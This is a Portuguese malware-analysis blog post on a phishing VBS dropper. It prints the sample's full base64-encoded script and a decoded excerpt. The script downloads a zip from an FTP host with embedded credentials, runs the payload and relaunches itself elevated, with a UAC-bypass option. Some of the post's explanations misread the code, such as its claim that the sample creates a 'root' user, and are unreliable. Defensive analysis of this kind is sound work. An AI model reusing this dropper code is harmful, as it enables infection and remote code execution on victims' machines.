VBS: Saiba como utilizar essa linguagem para analisar arquivos maliciosos

Por Laura Cardillo e Átila Altoé: Esta é uma análise de um arquivo transformado para linguagem VBS, sendo este um arquivo phishing recebido através de um e-mail por uma conta terceira. O foco deste relatório não é explicar detalhadamente o funcionamento do malware em si – mas sim apresentar uma forma de identificar e decodificar o payload que o dissemina.

Neste relatório, demonstraremos como foi feita a análise por meio de VBS para identificar e desofuscar o código malicioso e execução desse malware.

Veja a ação do Malware

Observa-se abaixo a sample extraída em questão:

Figura 1: Sample do arquivo

Para o início da análise, inspecionamos o arquivo via Notepad++ e observamos a presença de um comando de Powershell para decodificar stringsem base64. Infelizmente, o conteúdo do alvo desse atalho é longo demais para a janela de propriedades do arquivo. Segue a string obtida:

“b24gZXJyb3IgcmVzdW1lIG5leHQNCkRpbSB3aW5zaGVsbA0KU2V0IHdpbnNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKQ0KVGltYmFsYXRlID0gInNldHVwLnppcCINClRpbWJhbGF0ZXMgPSAic2V0eC5leGUiDQpVUkwgPSAiZnRwOi8vZnRwLmVzdGFtb3NhaW5hbmEuY29tL3d3dy9pbWFnZW5zLnppcCINClBBQ09URVVTRVIgPSAiZXN0YW1vc2FpbmFuYSINClhBTlBVU0VSID0gInBRTlBlNnZeOTFUWCINCkRpbSBCYWdhbmVGb2xkDQpCYWdhbmVGb2xkID0gd2luc2hlbGwuZXhwYW5kRW52aXJvbm1lbnRTdHJpbmdzKCIlQWxsVXNlcnNQcm9maWxlJSIpDQpEZXN0Rm9sZGVyID0gQmFnYW5lRm9sZCAmICJcU2V0WCINCkRpbSBvYmpXTUlTZXJ2aWNlLCBwcm9jZXNzSXRlbXMsIHByb2Nlc3NOYW1lDQpwcm9jZXNzTmFtZSA9ICJ3c2NyaXB0LmV4ZSINCkRpbSBqb3JkaQ0Kam9yZGkgPSBXU2NyaXB0LlNjcmlwdEZ1bGxOYW1lDQpGT1JDRSA9ICJTSU0iDQpVQUNCWVBBU1MgPSAiTkFPIg0KU2V0IHhtbCA9IENyZWF0ZU9iamVjdChTdHJSZXZlcnNlKCJ0Zm9zb3JjaU0iKSYgIi4iICYgU3RyUmV2ZXJzZSgiUFRUSExNWCIpKQ0Kc2V0IGphcmRpbVhYWFhYWCA9IENyZWF0ZU9iamVjdChQcm9mZXNzb3JhKCJjMCtcNCIsIk4wWCIpICYgIi4iICYgU3RyUmV2ZXJzZSgibm9pdGFjaWxwcEEiKSkNCkNvbnN0IGFkVHlwZUJpbmFyeSA9IDENCkNvbnN0IGFkU2F2ZUNyZWF0ZU92ZXJXcml0ZSA9IDINCkNvbnN0IGFkU2F2ZUNyZWF0ZU5vdEV4aXN0ID0gMQ0Kc2V0IG9Nb2xldG9uID0gY3JlYXRlb2JqZWN0KFN0clJldmVyc2UoImJkb2RBIikgJiAiLiIgJiBQcm9mZXNzb3JhKCJjLCRVOTsiLCJWMFgiKSkNCg0KcHJpbmNpcGFsDQoNCkZ1bmN0aW9uIHByaW5jaXBhbCgpDQpJZiBGT1JDRSA9ICJTSU0iIFRoZW4NCklmIFdTY3JpcHQuQXJndW1lbnRzLmxlbmd0aCA9MCBUaGVuDQoJamFyZGltWFhYWFhYLlNoZWxsRXhlY3V0ZSBwcm9jZXNzTmFtZSwgQ2hyKDM0KSAmIGpvcmRpICYgQ2hyKDM0KSAmICIgdWFjIiwgIiIsICJydW5hcyIsIDENCg0KCURpbSBmaXNnYQ0KCWZpc2dhID0gU3RyUmV2ZXJzZSgicm9vdCIpDQoNCglEaW0gcGVyc29uYWdlbQ0KCXBlcnNvbmFnZW0gPSBQcm9mZXNzb3JhKCJHUF5UV1RESiIsIjkwIikgJiAiOlxcLlwiICYgU3RyUmV2ZXJzZShmaXNnYSkNCg0KCVNldCBvYmpXTUlTZXJ2aWNlID0gR2V0T2JqZWN0KHBlcnNvbmFnZW0gJiAiXCIgJiAiY2ltdjIiKQ0KCVNldCBwcm9jZXNzSXRlbXMgPSBvYmpXTUlTZXJ2aWNlLkV4ZWNRdWVyeSgiU2VsZWN0ICogZnJvbSBXaW4zMl9Qcm9jZXNzIHdoZXJlIE5hbWU9JyIgICYgcHJvY2Vzc05hbWUgJiAiJyIpDQoNCglJZiBwcm9jZXNzSXRlbXMuQ291bnQgPSAyIFRoZW4NCgkJV3NjcmlwdC5RdWl0DQoJRW5kIElmDQoNCglqYXJkaW1YWFhYWFguU2hlbGxFeGVjdXRlIHByb2Nlc3NOYW1lLCBDaHIoMzQpICYgam9yZGkgJiBDaHIoMzQpICYgIiIsICIiLCAiIiwxDQpFbHNlDQpyb2Rhcg0KZXhlYw0KRW5kIElmDQpFbHNlSWYgVUFDQllQQVNTID0gIlNJTSIgVGhlbg0Kcm9kYXINCmV4ZWNjDQpFbHNlDQpyb2Rhcg0KZXhlYw0KRW5kIElmDQpFbmQgRnVuY3Rpb24NCg0KRnVuY3Rpb24gbW9uaXQoKQ0KJyBWZXJpZmljYSBzZSBleGlzdGUgbyBhcnF1aXZvIGRlIG1vbml0b3JhbWVudG8NCglTZXQgeXJGd0VoSVpxbGRrTFVsID0gQ3JlYXRlT2JqZWN0KCJTY3JpcHRpbmcuRmlsZVN5c3RlbU9iamVjdCIpDQoJSWYgKHlyRndFaElacWxka0xVbC5Gb2xkZXJFeGlzdHMoRGVzdEZvbGRlcikpIFRoZW4NCglXU2NyaXB0LlF1aXQoKQ0KCUVuZCBJZg0KRW5kIEZ1bmN0aW9uDQoNCkZ1bmN0aW9uIHJvZGFyKCkNCg0KbW9uaXQNCg0KU2V0IFRvcmNlZG9yID0gQ3JlYXRlT2JqZWN0KGNocncoODMpICYgY2hydyg5OSkgJiBjaHJ3KDExNCkgJiBjaHJ3KDEwNSkgJiBjaHJ3KDExMikgJiBjaHJ3KDExNikgJiBjaHJ3KDEwNSkgJiBjaHJ3KDExMCkgJiBjaHJ3KDEwMykgJiBjaHJ3KDQ2KSAmIGNocncoNzApICYgY2hydygxMDUpICYgY2hydygxMDgpICYgY2hydygxMDEpICYgY2hydyg4MykgJiBjaHJ3KDEyMSkgJiBjaHJ3KDExNSkgJiBjaHJ3KDExNikgJiBjaHJ3KDEwMSkgJiBjaHJ3KDEwOSkgJiBjaHJ3KDc5KSAmIGNocncoOTgpICYgY2hydygxMDYpICYgY2hydygxMDEpICYgY2hydyg5OSkgJiBjaHJ3KDExNikgKQ0KU2V0IFRvcmNlZG9yMiA9IFRvcmNlZG9yLkNyZWF0ZUZvbGRlcihEZXN0Rm9sZGVyKQ0KDQp4bWwuT3BlbiAiR0VUIiwgVVJMLCBGYWxzZSwgUEFDT1RFVVNFUiwgWEFOUFVTRVINCnhtbC5TZW5kDQoNCm9Nb2xldG9uLnR5cGUgPSBhZFR5cGVCaW5hcnkNCm9Nb2xldG9uLm9wZW4NCm9Nb2xldG9uLndyaXRlIHhtbC5yZXNwb25zZUJvZHkNCg0Kb01vbGV0b24uc2F2ZXRvZmlsZSBEZXN0Rm9sZGVyICYgIlwiICYgVGltYmFsYXRlLCBhZFNhdmVDcmVhdGVPdmVyV3JpdGUNCg0Kb01vbGV0b24uY2xvc2UNCg0Kc2V0IG9Nb2xldG9uID0gbm90aGluZw0KU2V0IHhtbCA9IE5vdGhpbmcNCg0Kc2V0IFRyYXZlc3NpYT1qYXJkaW1YWFhYWFguTmFtZVNwYWNlKERlc3RGb2xkZXIgJiAiXCIgJiBUaW1iYWxhdGUpLml0ZW1zDQpqYXJkaW1YWFhYWFguTmFtZVNwYWNlKERlc3RGb2xkZXIgJiAiXCIpLkNvcHlIZXJlKFRyYXZlc3NpYSkNCg0KRW5kIEZ1bmN0aW9uDQoNCkZ1bmN0aW9uIGV4ZWMoKQ0Kd2luc2hlbGwuRXhlYyBEZXN0Rm9sZGVyICYgIlwiICYgVGltYmFsYXRlcw0KRW5kIEZ1bmN0aW9uDQoNCkZ1bmN0aW9uIGV4ZWNjKCkNCkJpdHMgPSBHZXRPYmplY3QoIndpbm1nbXRzOnJvb3RcY2ltdjI6V2luMzJfUHJvY2Vzc29yPSdjcHUwJyIpLkFkZHJlc3NXaWR0aA0KSWYgQml0cyA9ICI2NCIgVGhlbg0KQ3JlYXRlT2JqZWN0KCJXc2NyaXB0LlNoZWxsIikuUnVuIEJhZ2FuZUZvbGQgJiAiXEFrYWdpNjQuZXhlIDIxICIgJiBCYWdhbmVGb2xkICYgIlwiICYgVGltYmFsYXRlcywwLEZhbHNlDQpFbHNlDQpDcmVhdGVPYmplY3QoIldzY3JpcHQuU2hlbGwiKS5SdW4gQmFnYW5lRm9sZCAmICJcQWthZ2kzMi5leGUgMjEgIiAmIEJhZ2FuZUZvbGQgJiAiXCIgJiBUaW1iYWxhdGVzLDAsRmFsc2UNCkVuZCBJZg0KRW5kIEZ1bmN0aW9uDQoNCkZ1bmN0aW9uIFByb2Zlc3NvcmEoU3RyaW5nVXNlLFBhc3N3b3JkKQ0KICAgIERpbSBJDQogICAgRGltIFJldFN0cg0KICAgIERpbSBDaGFydXNlLENoYXJQd2QNCiAgICBGb3IgSSA9IDEgdG8gTGVuKFN0cmluZ1VzZSkNCiAgICAJY2hhcnVzZSA9IE1pZChzdHJpbmd1c2UsSSwxKQ0KICAgICAgICBjaGFycHdkID0gTWlkKHBhc3N3b3JkLChJIG1vZCBsZW4ocGFzc3dvcmQpKSsxLDEpDQogICAgICAgIHJldHN0ciA9IHJldHN0ciArIGNocihhc2MoY2hhcnVzZSkgeG9yIGFzYyhjaGFycHdkKSkNCiAgICBOZXh0DQogICAgUHJvZmVzc29yYSA9IHJldHN0cg0KRW5kIEZ1bmN0aW9uDQoNCg==

Como é humanamente impossível compreender este tipo de string, para decodificá-la foi usada a ajuda da ferramenta cyberchef, com a qual encontramos a seguinte função:

on error resume next

Dim winshell

Set winshell = WScript.CreateObject(“WScript.Shell”)

Timbalate = “setup.zip”

Timbalates = “setx.exe”

URL = “ftp://ftp.estamosainana.com/www/imagens.zip”

PACOTEUSER = “estamosainana”

XANPUSER = “pQNPe6v^91TX”

Dim BaganeFold

BaganeFold = winshell.expandEnvironmentStrings(“%AllUsersProfile%”)

DestFolder = BaganeFold & “\SetX”

Dim objWMIService, processItems, processName

processName = “wscript.exe”

Dim jordi

jordi = WScript.ScriptFullName

FORCE = “SIM”

UACBYPASS = “NAO”

Pelo início da função, pode-se observar alguns pontos de atenção como URL, usuário e senha referentes à conta que realiza o ataque, ou mesmo que o atacante se utiliza de um servidor FTP para disseminação dos arquivos maliciosos, assim como o nome dos arquivos que serão utilizados na infecção:

Figura 2: Informações pertinentes

Ao discorrer mais a fundo quanto à função, constatou-se também a tentativa de criação de um usuário (“Fisga”). Este passou por um processo de Reverse, assim elevando seu privilégio e transformando-o emroot”.

Figura 3: Persistência do malware

Por fim, nota-se também que o malware utiliza uma expressão específica ao final da função para realizar a tática Persistência (MITRE ATT&CK) e forçar o usuário a aceitar o acesso “root” observada abaixo:

Else

rodar

exec

End If

ElseIf UACBYPASS = “SIM” Then

rodar

execc

Else

rodar

exec

End If

End Function

Figura 4: Persistência do malware

Recomendações

A primeira dica importante a se ter em mente é que a maioria das empresas confiáveis não solicita informações pessoais ou detalhes de conta por e-mail. Isso inclui seu banco, seguradoras e qualquer empresa com a qual você faz negócios. Se receber um e-mail pedindo algum tipo de informação de conta, exclua-o imediatamente e ligue para a empresa para confirmar se sua conta está segura.

  • Não abra anexos desses e-mails suspeitos ou estranhos, principalmente anexos em Word, Excel, PowerPoint ou PDF.
  • Uma dica útil de prevenção contra phishing é sempre evitar clicar em links incorporados em e-mails, porque estes podem estar carregados com malware.
  • Outra forma de reduzir sua exposição a mensagens de phishing é o uso de um software de proteção contra vírus e antispam.

Por fim, é fundamental usar um gerenciador de senhas para administrar credenciais. É recomendado ter um gerenciador de senhas, uma vez que os invasores maliciosos tentarão usar as credenciais descobertas em toda a web. Um dos melhores recursos dos gerenciadores de senhas é o preenchimento automático de formulários de login para minimizar os cliques.

Referências

  1. Arquivo recebido via honeypot e utilização de ferramentas Open source.
  2. https://www.kaspersky.com.br/resource-center/preemptive-safety/phishing-prevention-tips